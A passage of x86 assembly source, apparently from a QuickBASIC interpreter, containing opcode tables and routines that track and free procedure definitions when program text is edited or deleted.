opTabEntry DEL,opBolInclude
opTabEntry DEL,opBolIncludeSp
DEL_bolInclMin EQU DEL_opBolInclude
DEL_bolMax EQU DEL_opBolIncludeSp
opTabEntry DEL,opStFor
opTabEntry DEL,opStForStep
DEL_forMax EQU DEL_opStForStep
opTabEntry DEL,opWatchExp
opTabEntry DEL,opWatchStop
DEL_watchMax EQU DEL_opWatchStop
opTabEntry DEL,opAsType
opTabEntry DEL,opStEndProc
opTabEntry DEL,opStCommon
opTabEntry DEL,opAVtRf
opTabEntry DEL,opBreakPoint
DEL_NonSubRefMax EQU DEL_opBreakPoint
;Remaining entries in table are all the opcodes that could contain references
; to SUBs. We need to look for these in order to correctly reset the SUB
; name space bit.
opTabEntry DEL,opStDeclare
opTabEntry DEL,opStSub
opTabEntry DEL,opStCall
opTabEntry DEL,opStCallS
opTabEntry DEL,opStCallLess
opTabEntry DEL,opEot
;These opcodes are of special interest BEFORE they are inserted
; NOTE: if any entries in this table change, update PiDispatch
;
tOpPreIns LABEL WORD
opTabStart PI
opTabEntry PI,op_Static
opTabEntry PI,op_Dynamic
opTabEntry PI,op_Include
opTabEntry PI,opStSub
opTabEntry PI,opStFunction
opTabEntry PI,opStEndProc
opTabEntry PI,opEndSingleDef
opTabEntry PI,opStEndDef
opTabEntry PI,opStData
opTabEntry PI,opStShared
opTabEntry PI,opStDefType
opTabEntry PI,opStCommon
opTabEntry PI,opStEndType
opTabEntry PI,opStFor
opTabEntry PI,opStForStep
opTabEntry PI,opStConst
opTabEntry PI,opShared
opTabEntry PI,opStOptionBase0
opTabEntry PI,opStOptionBase1
opTabEntry PI,opElemRef
opTabEntry PI,opEot
;These opcodes are of special interest AFTER they are inserted
; NOTE: if any entries in this table change, update AiDispatch
;
tOpAftins LABEL WORD
opTabStart AFTINS
opTabEntry AFTINS,opBolInclude
opTabEntry AFTINS,opBolIncludeSp
AFTINS_bolInclMax EQU AFTINS_opBolIncludeSp
opTabEntry AFTINS,opBol
opTabEntry AFTINS,opBolSp
opTabEntry AFTINS,opBolLab
AFTINS_dispMin EQU AFTINS_opBolLab
opTabEntry AFTINS,opBolLabSp
AFTINS_bolMax EQU AFTINS_opBolLabSp
opTabEntry AFTINS,opLab
opTabEntry AFTINS,opLabSp
opTabEntry AFTINS,opStFunction
opTabEntry AFTINS,opStSub
opTabEntry AFTINS,opStDeclare
opTabEntry AFTINS,opStCall
opTabEntry AFTINS,opStCallS
opTabEntry AFTINS,opStCallLess
opTabEntry AFTINS,opStEndProc
opTabEntry AFTINS,opEndSingleDef
opTabEntry AFTINS,opStEndDef
opTabEntry AFTINS,opStData
opTabEntry AFTINS,opStRestore1
opTabEntry AFTINS,opEot
;List of opcodes which are legal in SUB/FUNCTION window before
;the procedure's definition
;
tOpPreProc LABEL WORD
opTabStart PREPROC
opTabEntry PREPROC,opBol
opTabEntry PREPROC,opBolSp
opTabEntry PREPROC,opBolInclude
opTabEntry PREPROC,opBolIncludeSp
PREPROC_bolMax EQU PREPROC_opBolIncludeSp
opTabEntry PREPROC,opStDefType
opTabEntry PREPROC,opStRem
opTabEntry PREPROC,opQuoteRem
opTabEntry PREPROC,op_Static
opTabEntry PREPROC,op_Dynamic
opTabEntry PREPROC,opNoType ;for SUB x.y
opTabEntry PREPROC,opReParse
opTabEntry PREPROC,opStEndProc ;only if SUB opStSub or
; opStFunction precedes it.
opTabEntry PREPROC,opStSub
PREPROC_SubOrFuncMin EQU PREPROC_opStSub
opTabEntry PREPROC,opStFunction
opTabEntry PREPROC,opEot
tOpEndProc LABEL WORD
opTabStart ENDPROC
opTabEntry ENDPROC,opStEndProc
opTabEntry ENDPROC,opEot
sEnd CODE
;--------------------------------------------------------------------
; Functions which keep track of where the current "defining" reference
; to a Prs is. If there are any references to a prs in any loaded pcode,
; we keep track of the "most powerful" or "defining" reference in
; prs.oRsDef, prs.otxDef.
;
; A SUB/FUNCTION/DEF FN statement is the "most powerful" possible
; definition for a prs entry.
; If no SUB/FUNCTION/DEF FN statements refer to a prs, the next most
; powerful definition is a DECLARE statement.
; If no DECLARE statements refer to a prs, the only remaining possible
; definition is a CALL statement.
;
; When all pcode references to a prs have been deleted,
; and the prs has no text table, PrsFree is called to remove the entry.
;
; The management of "defining" references happens in two stages during
; an edit. When a "defining" reference is deleted, prs.otxDef is set
; to undefined by UndefPrs. At the end of the edit operation, RedefOrDelPrs
; is called to search for a new "defining" reference, or free the prs.
;
; This is done in two stages as a speed optimization for text edits.
; This will help speed up the cases where you are discarding text
; tables, or terminating ASCII load because of an out of memory error.
; This way we accumulate and process all prs defining reference changes
; at one time.
;
; Call Trees
; ==========
;
; Deleting a defining reference
; -----------------------------
; MrsDiscard PrsDiscard
; \ /
; \ /
; TxtDiscard ParseLine
; | |
; TxtDelete ParseUndo MakeProc (when renaming a sub/function)
; | | |
; ForEachPrsInPlaceCP(UpdatePrs) | |
; | | |
; +------+----+
; |
; UndefPrs
;
; End of edit - find new defining reference
; -----------------------------------------
; TxtChange LoadFile
; | |
; | |
; | |
; | MrsDiscard PrsDiscard
; | | \ / |
; | | PrsDiscard1 |
; | | |
; +-------------+------------------+
; |
; ChkAllUndefPrs
; |
; --------
; | |
; |
; ForEachCP(TryToDefPrs)
;
;--------------------------------------------------------------------
sBegin DATA
;** the static structure uPrs is defined in SetPrsDefn header
DPRS_ST STRUC
DPRS_oRs DW 1 DUP (?)
DPRS_oMrs DW 1 DUP (?)
DPRS_otx DW 1 DUP (?)
DPRS_flags DB 1 DUP (?)
DPRS_ST ENDS
dprs DB size DPRS_ST DUP (?)
;** the static structure uPrs is defined in UpdatePrs's header
UPRS_ST STRUC
UPRS_oRsEdit DW 1 DUP(?)
UPRS_otxEdit DW 1 DUP(?)
UPRS_cbDel DW 1 DUP(?)
UPRS_cbIns DW 1 DUP(?)
UPRS_oPrsDel DW 1 DUP (?)
UPRS_fPrsDelFound DW 1 DUP (?)
UPRS_fNoRefSameMod DW 1 DUP (?)
UPRS_oMrsRefDel DW 1 DUP (?)
UPRS_ST ENDS
uprs DB size UPRS_ST DUP (?)
sEnd DATA
sBegin CP
assumes cs,CP
;**************************************************************
; void SetPrsDefn
; Purpose:
; Called when a prs reference is inserted in pcode. If this is the
; "most powerful" definition we've seen so far for the current prs,
; the the prs entry is changed to remember this text offset
; as the "defining" reference.
;
; Entry:
; dprs.DPRS_oRs,oMrs,otx identify where in the pcode
; the reference lives.
; dprs.DPRS_flags = FP_DEFINED if this is for a SUB/FUNCTION/DEF FN stmt.
; = FP_DECLARED if this is for a DECLARE stmt.
; = 0 if this is for a CALL stmt.
; grs.oPrsCur identifies the prs being referenced.
;
;**************************************************************
SetPrsDefn PROC NEAR
test [dprs.DPRS_flags],FP_DEFINED
jne SpNewDef ;brif reference is SUB,FUNC,DEF FN stmt
test [prsCur.PRS_flags],FP_DEFINED
jne SpNoNewDef ;brif prs is already defined by SUB,...
test [dprs.DPRS_flags],FP_DECLARED
jne SpNewDef ;brif reference is DECLARE
test [prsCur.PRS_flags],FP_DECLARED
jne SpNoNewDef ;brif prs is already declared
SpNewDef:
;Got a SUB, FUNCTION or DEF FN OR
; a DECLARE for prs with no definition OR
; a CALL to an as yet undeclared, undefined SUB.
; This is the "most powerful" reference seen so far,
; make this text reference the new owner of the prs entry.
; We need to set prsCur.oMrs even though in most cases, it
; is redundant given prsCur.oRsDef. The case where it is
; valuable info is for DECLAREd prs's with no text tables.
; If it were not set here, there would be cases when ForEachPrsInMrs
; would not pick up this prs
mov ax,[dprs.DPRS_oRs]
mov [prsCur.PRS_oRsDef],ax
mov ax,[dprs.DPRS_otx]
mov [prsCur.PRS_otxDef],ax
mov al,[dprs.DPRS_flags]
or [prsCur.PRS_flags],al
test [txdCur.TXD_flags],FTX_mrs
je SpNoNewDef ;brif prs has text table
;If we didn't, commenting out
;a SUB stmt would move the prs to
;another module.
mov ax,[dprs.DPRS_oMrs]
mov [prsCur.PRS_oMrs],ax
cmp [prsCur.PRS_procType],PT_DEFFN
jne SpNoNewDef ;brif not a DEF FN
mov [prsCur.PRS_oRsDef],ax ;for DEF FNs, the oRsDef is the
; module's text table.
SpNoNewDef:
ret
SetPrsDefn ENDP
;**************************************************************
; boolean TryToDefPrs()
; Purpose:
; Called to see if current text table contains any references
; to prs uprs.UPRS_oPrsDel.
;
; Entry:
; uprs.UPRS_oPrsDel is the prs whose reference has been deleted
;uprs.UPRS_oMrsRefDel is the mrs from which the reference was deleted
;uprs.UPRS_fNoRefSameMod: if TRUE then TryToDefPrs must search for
; a reference to oPrsDel in text tables of module oMrsDel.
;dprs.DPRS_flags: if set to 0 then TryToDefPrs must search for any
; ref's to oPrsDel.
; Exit:
;uprs.UPRD_fNoRefSameMod is set to FALSE if it is TRUE on entry and
; the text table being searched is in module uprs.UPRS_oMrsRefDel
; and a ref to procedure uprs.UPRS_oPrsDel is found.
; uprs.UPRS_fPrsDelFound = TRUE if any other references were found
; if a "defining" reference is found (i.e. anything but a CALL),
; dprs.DPRS_oRs,otx are set to identify the text table and text
; offset for the new "defining" reference.
;dprs.DPRS_flags is set to FP_DECLARED if a DECLARE for the deleted
; Prs is found.
;FALSE is returned when no more searching is required, i.e. when
; dprs.DPRS_flags = FP_DECLARED and uprs.UPRS_fNoRefSameMod
; is FALSE.
;
;
;**************************************************************
TryToDefPrs PROC NEAR
push si ;save caller's si,di
push di
cmp [txdCur.TXD_ScanState],SS_SUBRUDE
je JE_TryDone ;
mov di,[uprs.UPRS_fNoRefSameMod]
or di,di
jz TrySearch ;brif already found another ref
; to the proc in the module with
; the deleted reference
mov di,[uprs.UPRS_oMrsRefDel] ;di = oMrs of module from which
; a reference was deleted
sub di,[grs.GRS_oMrsCur] ;di = 0 iff the text table is in
; the same module as the text tbl
; from which a ref was deleted
jz TrySearch ;brif in same module as deleted ref
test [dprs.DPRS_flags],FP_DECLARED
jnz TryDone ;exit if we don't need to search
; this text table for a declare
TrySearch:
call TxtDescanCP ;descan current txt tbl to SS_PARSE
sub ax,ax
push ax
PUSHI ax,<CODEOFFSET tOpPrsDef>
call TxtFindOp ;ax = offset to 1st opcode in cur text
; table with prs operand
;dl = [txtFindIndex]
TryLoop:
mov si,ax ;si = otxCur
cmp dl,PRSDEF_opEot
JE_TryDone:
je TryDone ;brif done with text table
add ax,4 ;advance to oPrs operand
cmp dl,PRSDEF_opStDefFn
jne TryNotDefFn ;brif ref is not a DEF FN
inc ax ;skip DEF FN's link field
inc ax
TryNotDefFn:
call GetWOtx ;ax = oPrs of reference (ax)
cmp ax,[uprs.UPRS_oPrsDel]
jne TryNext ;brif not ref to prs of interest
mov [uprs.UPRS_fNoRefSameMod],di ;set flag indicating whether
; or not another ref was found
; in module of deleted ref
test [dprs.DPRS_flags],FP_DECLARED
jnz TryExit1 ;brif not searching for defining ref
mov [uprs.UPRS_fPrsDelFound],sp
;tell caller we found a reference
;remember where new reference is in static dprs struct
mov ax,[grs.GRS_oRsCur]
mov [dprs.DPRS_oRs],ax
mov ax,[grs.GRS_oMrsCur]
mov [dprs.DPRS_oMrs],ax
mov [dprs.DPRS_otx],si ;save otxCur
cmp [txtFindIndex],PRSDEF_DefineMax
ja TryNext ;brif reference was a CALL
;Since this is only called when the current "defining"
;reference has been deleted, we know we're never going
;to find a SUB or FUNCTION pcode. A DECLARE is the
;strongest definition we can hope to find, so there's
;no need to search any further
test [mrsCur.MRS_flags2],FM2_INCLUDE ;is this an INCLUDE mrs?
jne TryNext ;force it to a "weak" owner
mov [dprs.DPRS_flags],FP_DECLARED
TryExit1:
xchg ax,di ;ax = 0 iff no longer need to search
jmp SHORT TryExit
TryNext:
;if we've just seen a CALL ref, keep searching for DECLARE
push si
PUSHI ax,<CODEOFFSET tOpPrsDef>
call TxtFindNextOp
jmp SHORT TryLoop
TryDone:
mov ax,sp ;return TRUE (non zero)
TryExit:
pop di ;restore caller's di
pop si ;restore caller's si
ret
TryToDefPrs ENDP
;**************************************************************
; FreeAllUndefinedPrs, ChkAllUndefPrs, ChkAllUndefPrsSaveRs
; Purpose:
; FreeAllUndefinedPrs has two purposes:
; (1) It is called to check all prs's to see
; if the the "defining" text reference to a prs has
; been marked as deleted. If so, it calls RedefOrDelPrs
; to search for a new "definition" if none are found, then
; the Prs is released via PrsFree.
; (2) It is called to check all prs's to see
; if the last reference to the prs has been deleted from the
; module being editted.
; ChkAllUndefPrs differs from FreeAllUndefPrs in that it
; knows that searching only needs to be performed when a
; reference is deleted.
;
; FreeAllUndefinedPrs is called to Free prs entries created
; by undefined direct mode references.
;
; The FTM_PrsDefDeleted bit of flagsTm is used to
; to determine if we need to search for a new "defining"
; reference for the prs.
;
; Entry:
; flagsTm.FTM_PrsDefDeleted set if we need to search
; for a new "defining" reference.
;
; Exit:
; Deleted prs entries with no new definitions are freed
; Deleted prs entries with new definitions have otxDef
; and oRsDef set to the new definition.
;**************************************************************
PUBLIC ChkAllUndefPrsSaveRs
ChkAllUndefPrsSaveRs PROC NEAR
push [grs.GRS_oRsCur] ;preserve current oRs
call ChkAllUndefPrs ;check all undefed prs entries
call RsActivateCP ;Reactivate current oRs
ret
ChkAllUndefPrsSaveRs ENDP
PUBLIC ChkAllUndefPrs
ChkAllUndefPrs PROC NEAR
test WORD PTR [flagsTm],FTM_PrsDefDeleted OR FTM2_PrsRefDeleted*100h
;have any definitions been deleted?
jne FreeAllUndefinedPrs ;brif so - Redef or Del all UNDEFINED
; prs entries
ret
ChkAllUndefPrs ENDP
PUBLIC FreeAllUndefinedPrs
FreeAllUndefinedPrs PROC NEAR
push si
push di
mov ax,[grs.GRS_oMrsCur]
mov [uprs.UPRS_oMrsRefDel],ax ;store mrs of deleted text
mov si,UNDEFINED
FreeAllUndef_Cont:
cCall PrsDeActivate ; ensure all proc.s are in Rs table
FreeAllUndef_Cont1:
mov di,si
FreeAllUndef_Cont2:
mov ax,di
call GetNextPrs ; PTRRS:ax points to first prs
; ax == UNDEFINED ==> no prs's
inc ax
jnz FAU_DontExit
jmp FreeAllUndef_Exit
FAU_DontExit:
dec ax
mov si,ax ; cache, so we don't end up starting
; from the beginning of the prs
; chain each time we free a prs
mov bx,ax
RS_BASE add,bx ; bx = oPrs
; assign cx = 0 if no reference to the Prs has been deleted otw non-zero
xor cx,cx
test PTRRS[bx.PRS_flags2],FP_RefDeleted ;[38]
jz NoRefDeleted ;brif no reference has been deleted
and PTRRS[bx.PRS_flags2],NOT FP_RefDeleted ;[38]clear flag
not cx ;set cx = non-0 since ref was deleted
NoRefDeleted:
mov [uprs.UPRS_fNoRefSameMod],cx ;initialize fNoRefSameMod
; to TRUE if we must search for
; a ref to the Prs in the module
; assign ax = 0 if otxDef is defined otw non-zero
mov al,1 ;assume otxDef is undefined
cmp PTRRS[bx.PRS_otxDef],UNDEFINED
je otxDefUnDefined ;brif otxDef is UnDefined
jcxz FreeAllUndef_Cont1 ;brif otxDef is Defined and
; no ref to the prs has been
; deleted -- nothing to do
xor ax,ax ;set ax = 0 since otxDef is defined
otxDefUnDefined:
push cx ;preserve condition flag
push ax ;preserve condition flag
push si ; pass to PrsActivateCP
call PrsActivateCP ;activate prs which may be freed
pop cx ;cx = 0 iff otxDef is defined
pop ax ;ax = 0 iff no ref to proc was del'd
jcxz DontSearchForDeclare ;brif otxDef of proc is defined
xor dx,dx ;assume that we will need to search
; for a new defining ref
test [flagsTm],FTM_PrsDefDeleted
jnz SearchForRef ;brif a defining ref has been del'd
or ax,ax ;ax = 0 if no ref to proc was del'd
jz ChkDeletePrs ;This branch is taken if no ref to
; this proc has been deleted and
; no defining ref has been deleted
DontSearchForDeclare:
mov dl,FP_DECLARED
SearchForRef:
mov [dprs.DPRS_flags],dl ;set dprs.flags to FP_DECLARED
; if we don't need to search for
; a new defining ref otw set to 0
mov [uprs.UPRS_fPrsDelFound],dx ;set fPrsDelFound to 0 if we
; are searching for a defining ref
mov dx,[grs.GRS_oPrsCur] ;set up global specifying which proc
mov [uprs.UPRS_oPrsDel],dx ; we are searching for references to
push cx ;preserve condition flag
;Note that we search even text mrs's because the reference
;to the prs may be within an INCLUDE mrs. It is tempting to
;make INCLUDE mrs's be FM2_NoPcode mrs's, but doing so would
;prevent the ability to select the 'View/Include File' menu
;item when an INCLUDE mrs is active, because the $INCLUDE
;lines would not have been parsed.
;This leads to the situation that an INCLUDE mrs can be
;the owner of a prs. This keeps the prs from being deleted until
;all references to the prs are gone. However, we must also insure
;that the include mrs does not become an owner of a prs when other
;"stronger" definitions exist. Therefore, all prs references from
;an include mrs will be treated as the "weakest" possible owners.
mov bx,CPOFFSET TryToDefPrs
mov al,FE_PcodeMrs+FE_TextMrs+FE_CallMrs+FE_PcodePrs+FE_SaveRs
call ForEachCP
cmp [uprs.UPRS_fNoRefSameMod],FALSE
je GotRefInSameModule ;brif another ref in module found
;We have not found another reference to the Prs in the module from which
;the ref was deleted. Clear the NMSP_sub name table bit of the sub's oNam
;in that module so that it can be used now as a variable name.
push [grs.GRS_oRsCur] ;save current oRs for reactivation
push [uprs.UPRS_oMrsRefDel]
call MrsActivateCP ;activate the module
cCall FieldsOfPrs,<si> ;ax = oNam of proc
xchg bx,ax ;pass bx = oNam of proc
mov al,NMSP_SUB ;pass al = flag to clear
call ResetONamMask ;clear sub bit of oNam of Mrs
call RsActivateCP ;reactivate the Rs we were searching
GotRefInSameModule:
pop cx ;cx = 0 iff otxDef is defined
jcxz J1_FreeAllUndef_Cont ;brif otxDef is defined - i.e. we
; were only searching for another
; ref in module of deletion
cmp [uprs.UPRS_fPrsDelFound],0 ;was a new defining reference found
je ChkDeletePrs ;brif didn't find new "defining" ref
;found new "defining" reference
call SetPrsDefn ;parms are in static struct dprs
J1_FreeAllUndef_Cont:
jmp FreeAllUndef_Cont ;[37] go on to next prs
ChkDeletePrs:
;Prs has no "defining" reference
;If prs has no text table, release it via PrsFree
; By the time this function has been called by PrsDiscard,
; any text table that this prs might have owned will have
; been released.
test [txdCur.TXD_flags],FTX_mrs ;does this prs have a text table?
je J1_FreeAllUndef_Cont ; brif so, will eventually be freed
; by PrsDiscard
call PrsFree ;free the prs
DbAssertRel [grs.GRS_oPrsCur],z,UNDEFINED,CP,<FreeAllUndefinedPrs err>
jmp FreeAllUndef_Cont2 ;[37] go on to look for next prs,
; starting from last prs that
; we did not free ...
FreeAllUndef_Exit:
pop di
pop si
and WORD PTR[flagsTm],NOT(FTM_PrsDefDeleted+FTM2_PrsRefDeleted*100h)
;all Prs entries are clean
ret
FreeAllUndefinedPrs ENDP
;**************************************************************
; UndefPrs(ax:oPrsDelete)
; Purpose:
; This function is called whenever the "defining"
; text reference to a prs is deleted. It clears
; the prs definition flags and sets prs.otxDef to
; undefined.
;
; NOTE: The caller is responsible for calling ChkAllUndefPrs
; to search for a new defining reference, or release
; the prs entry if no more references to the prs exist.
; NOTE: Some callers expect no heap movement from this routine.
;
; Entry:
; ax is the oPrs whose reference is being deleted
;
; Exit:
; prs.otxDef = UNDEFINED
; prs definition flags are cleared.
; restores caller's active register set.
;
;**************************************************************
PUBLIC UndefPrs
UndefPrs PROC NEAR
push [grs.GRS_oRsCur] ;save caller's active register set
push ax ;pass to PrsActivateCP
call PrsActivateCP ;activate prs which may be freed
or [flagsTm],FTM_PrsDefDeleted ;we have deleted a defining reference
mov [prsCur.PRS_otxDef],UNDEFINED ;remember that current "defining"
;reference has been deleted
Msk EQU NOT (FP_DEFINED OR FP_DECLARED OR FP_CDECL)
and [prsCur.PRS_flags],Msk ;turn off these flag bits
;SetPrsDefn will be called to turn
;one or more back on if another ref
;is found in the pcode
call RsActivateCP ;activate caller's register set
; oRs parm is already on stack
ret
UndefPrs ENDP
;**************************************************************
; boolean UpdatePrs()
; Purpose:
; This is called after text has been inserted into, or deleted
; from any text table. It is called for each prs which could be
; declared in this text table (even if by CALL <compiled sub>),
; If the prs's "defining" reference is in this text table:
; If the reference was deleted by the edit:
; Set its Otx field to UNDEFINED
; a new defining reference will be searched for at completion
; of the current edit operation
; else if the "defining" reference was moved by the edit:
; its otx field is updated
; This function will flag many prs entries if the
; deleted text included many DECLAREs, where the DECLARE was the
; only remaining reference.
;
; NOTE: to drastically improve text edit performance, this routine
; gets called by ForEachPrsInPlaceCP, which marches through the
; prs table without activating the PRS. Thus, this routine MUST
; NOT cause heap movement which would invalidate the pointer
; used to march the prs table.
;
; Entry:
; si = ptr to prs entry being examined
; uprs.UPRS_oRsEdit = text table in which edit occurred
; uprs.UPRS_otxEdit = text offset where text was inserted/deleted
; uprs.UPRS_cbDel = number of bytes deleted
; uprs.UPRS_cbIns = number of bytes inserted
;
;**************************************************************
DbPub UpdatePrs
UpdatePrs PROC NEAR
GETRS_SEG es,dx,<SIZE,LOAD> ;[11]
mov dx,PTRRS[si.PRS_otxDef] ; dx = text offset to prs's "defining"
; reference
inc dx ;test for UNDEFINED
je UpExit ;brif prs has no references
dec dx ;restore dx = otxDef
mov ax,PTRRS[si.PRS_oRsDef]
cmp BPTRRS[si.PRS_procType],PT_DEFFN
jne UpdNotDefFn ;brif not a DEF FN
mov ax,PTRRS[si.PRS_oMrs] ; DEF FNs live in a module's text table
UpdNotDefFn:
cmp ax,[uprs.UPRS_oRsEdit]
jne UpExit ;brif not text table being edited
;prs is currently defined by reference in edited text table
mov ax,[uprs.UPRS_otxEdit]
cmp dx,ax
jb UpExit ;brif reference unaffected by edit
add ax,[uprs.UPRS_cbDel]
cmp ax,dx
jbe UpMoved ;brif defining ref moved by edit
;Defining reference has been deleted.
;Mark Prs to indicate that defining reference has been deleted.
mov ax,si ;ax = ptr to prs entry
RS_BASE sub,ax ;ax=oPrs for entry, parm to UndefPrs
call UndefPrs ;Mark Prs as "defining" reference as
;deleted
jmp SHORT UpExit
;defining reference has been moved up or down in memory
UpMoved:
mov ax,[uprs.UPRS_cbIns]
sub ax,[uprs.UPRS_cbDel]
add PTRRS[si.PRS_otxDef],ax ; update otx based on edit
UpExit:
or ax,sp ; return ax != 0 and NZ
ret
UpdatePrs ENDP
;**************************************************************
; boolean NEAR TxtDelete(otxDelFirst, otxDelLast)
; Purpose:
; Delete some text from the current text table.
; Doesn't update linked lists if ASCII load is active.
;
; NOTE:
; If a Prs's "defining" reference is being deleted, this function
; will cause the prs to be marked as UNDEFINED. It is up to
; the caller to insure that orphaned "New" defining references
; the prs do not exist by calling ChkAllUndefPrs if the possibility
; of deleting a "defining" reference has occurred during the
; edit operation.
;
; Entry:
; Same as for TxtChange:
;
; Exit:
; Same as for TxtChange
; [cForDel] = 1 + number of FOR statements deleted
; [cForStepDel] = 1 + number of FOR...STEP statements deleted
; Condition codes are set based on value in ax
;
;**************************************************************
cProc TxtDelete,<PUBLIC,NEAR,NODATA>,<si,di>
parmW otxDelFirst
parmW otxDelLast
localW otxNext
localW otxTop
localW otxBottom
localW oTyp
localW cbDel
cBegin
DbAssertRelB [txdCur.TXD_scanState],ne,SS_EXECUTE,CP,<TxtDelete err 1>
DbChk Otx,otxDelFirst ;error if > txdCur.bdlText.cbLogical
DbChk Otx,otxDelLast ;error if > txdCur.bdlText.cbLogical
DbAssertRel [otxDelFirst],be,[otxDelLast],CP,<TxtDelete err 2>
mov di,[otxDelFirst]
mov al,[bigEditState]
cmp al,BIG_EDIT_CANCEL
jne DelNoCancel
jmp DelGoodExit ;backout of BigEdit if user CANCELed
DelNoCancel:
cmp [txdCur.TXD_SCANSTATE],SS_SUBRUDE
jne DelNotSubRude ;
jmp DelNoThreads ;don't need to examine text before
; deletion if no oPrs's in code
DelNotSubRude: ;
cmp al,BIG_EDIT_FALSE
jne DelInBigEdit ;brif in a BigEdit
mov [cForDel],1
mov [cForStepDel],1
DelInBigEdit:
;-------------------------------------------------------------------
;Examine the block of pcode being deleted opcode by
;opcode, looking for a RUDE EDIT
;
mov cx,[otxDelLast]
sub cx,di ;compute cb to be deleted
mov [cbDel],cx
jcxz DelPreDone ;brif no text to delete, destroy scrap
test [mrsCur.MRS_flags2],FM2_Include OR FM2_NoPcode
jne DelNotTextMrs ;brif document/include file is active
cmp [b$cNonQBIFrames],0 ;nonzero when non-QBI frames are on
; the stack. Any edit at this point
; could invalidate return addresses on
; the stack. At this point we have
; decided to askcantcont instead of
; trying to fix up the return addresses
; on the stack.
;are non qbi return addresses on stack?
jne DelAskCantCont ;brif so, check for possible back out
DelNotTextMrs:
test [mrsCur.MRS_flags2],FM2_Include
je DelNotIncl1 ;brif not editing an include file
DelAskCantCont:
call AskCantCont_CP ;ask user "Want to back out?"
je J1_DelBackOut ;return FALSE if user wants to back out
DelNotIncl1:
push di ;pass [otxDelFirst]
PUSHI ax,<CODEOFFSET tOpPreDel>
call TxtFindOp ;find 1st opcode of interest
;ax = offset to 1st opcode of interest
;dl = [txtFindIndex]
DelPreLoop:
cmp ax,[otxDelLast]
jae DelPreDone ;brif no significant opcodes were in
;deleted range
xchg si,ax ;si = text offset to current opcode
;opBol and opBolLab are in the PREDEL list to keep us from unnecessarily
; searching all the way to opEot for innocuous edits of large "simple"
; txt tables. This can significantly speed up simple edits.
cmp dl,PREDEL_BolMax ;is this just a Bol?
jbe J1_DelPreNext ;brif so, search for next opcode.
cmp dl,PREDEL_IncludeMax
jbe DelInclude ;brif INCLUDE (or $INCLUDE [QB4])
;It must be PREDEL_rudeMin or greater - rude edit
push dx ;save txtfindindex in case AskRudeEdit
;calls TxtFind
call AskRudeEdit ;see if user wants to back out of edit
pop ax ;al = txtfindindex
je J1_DelBackOut ;return FALSE if user wants to
; back out of edit
FloadActive ;don't descan if Loading
jne DelPreNext
cmp al,PREDEL_opStDefType
jne DelPreNext ;brif not DEFINT..DEFSTR stmt
call SystemDescanCP ;implicit parms in DECLARE, SUB,
; FUNCTION stmts need to be rechecked
; by the scanner
DelPreNext:
push si
PUSHI ax,<CODEOFFSET tOpPreDel>
call TxtFindNextOp ;find next opcode of interest
jmp SHORT DelPreLoop
DelInclude:
push si ;pass otx
call OtxNoInclude ;ax = otx to opBol/opEot for next line
; which has no $INCLUDE
cmp ax,[otxDelLast] ;is end of $INCLUDE pcode beyond
; requested delete?
jbe J1_DelPreNext ;brif not
mov [otxDelLast],ax ;delete all included lines as well
sub ax,di ;ax = new cbDel
mov [cbDel],ax
J1_DelPreNext:
jmp SHORT DelPreNext
J1_DelBackOut:
jmp DelBackOut ;return FALSE - user wants to
; back out of edit
;-------------------------------------------------------------------
; If fFillScrap and bdTxtScrap is empty,
; fFillScrap = FALSE
; copy deleted text to bdTxtScrap
; otxScrap = otxDelFirst
; If cbBigIns > 0, cbBigIns -= cbDel
;
;Note that cbDel may actually be zero but that we still create the scrap
;because we may subsequently be called during a big edit with fFillScrap
;TRUE but we don't want to fill the scrap.
DelPreDone:
cmp [fFillScrap],FALSE
je DelNoCopy ;brif no need to copy text to scrap
cmp [bdlTxtScrap.BDL_status],NOT_OWNER
jne DelNoCopy ;brif scrap is already in use
mov [fFillScrap],FALSE ;reset one-shot flip-flop
mov [otxScrap],di ;remember text offset of deleted text
; CALL TxtCopyScrap(otxDelFirst, 0, cbDel, FALSE) [9]
push di ;push otxDelFirst
xor ax,ax
push ax ;offset of where to copy into Scrap
push [cbDel]
push ax ;push FALSE meaning don't delete text
call TxtCopyScrap ;ax = 0 if out of memory
jnz CopiedOK ;brif buffer allocated successfully
call AskRudeEdit ;Give user a chance to back out of edit
; if CONT is currently possible.
je J1_DelBackOut ;return FALSE if user wants to
; back out of edit
jmp SHORT DelNoCopy
CopiedOK:
;-------------------------------------------------------------------
;NOTE: At this point, the user CANNOT back out of the edit.
; All actions from this point on are irreversible.
;
;Examine the block of pcode being deleted opcode by
;opcode, taking special action for each opcode of interest.
;
; Register usage for loop: si = otxCur, di = otxDelFirst
;
DelNoCopy:
cmp [cbDel],0 ;was any text deleted?
jne DelAfterDel ;brif so
; - look for special deleted opcodes
jmp DelGoodExit ;no pcode deleted - exit
DelAfterDel:
push di ;pass [otxDelFirst]
PUSHI ax,<CODEOFFSET tOpDel>
call TxtFindOp ;ax = offset to 1st interesting opcode
;ax = offset to 1st opcode of interest
;dl = [txtFindIndex]
DelLoop:
cmp ax,[otxDelLast]
jae J1_DelDone ;brif reached end of deleted range
xchg si,ax ;si = offset to current opcode (otxCur)
xchg ax,dx ;al = [txtFindIndex]
cmp al,DEL_bolMax
ja DelNotBol ;brif not a label or bol opcode
cmp al,DEL_labMax
ja DelNotLab ;brif not a label definition opcode
lea ax,[si+4] ;ax = text offset to oNam field
call GetWOtx ;ax = oNam for label
xchg bx,ax ;pass oNam in bx
mov al,NM_fLineNumLabel ;pass mask to reset in al
call ResetONamMask ;reset bit that says the label by
; this name is defined
DelNotLab:
mov al,[txtFindIndex]
cmp al,DEL_bolMin
jb J1_DelNext ;brif not a begin of line opcode
dec [txdCur.TXD_cLines] ;decrement text table's line count
cmp al,DEL_bolInclMin
jb J1_DelNext ;brif not included line
dec [txdCur.TXD_cLinesIncl] ;decrement text table's INCLUDE line cnt
jmp SHORT J1_DelNext
DelNotBol:
cmp al,DEL_NonSubRefMax
jle DelNotSubRef ;brif not a procedure reference
DbAssertRelb [txdCur.TXD_SCANSTATE],ne,SS_SUBRUDE,CP,<TxtDelete: tbl in SUBRUDE>
lea ax,[si+4]
call GetWOtx ;ax = oPrs referenced
call pPrsOPrs ;es:bx points to Rs
cmp PTRRS[bx.PRS_procType],PT_SUB
jne J1_DelNext ;brif not a sub Prs
or PTRRS[bx.PRS_flags2],FP_RefDeleted ;[38]set flag indicating that
; a ref has been deleted
or [flagsTm2],FTM2_PrsRefDeleted ;set flag indicating
; that a Prs Ref has been deleted
jmp SHORT J1_DelNext
J1_DelDone:
DJMP jmp SHORT DelDone
DelNotSubRef:
cmp al,DEL_forMax
ja DelNotFor ;brif FOR pcode not being deleted
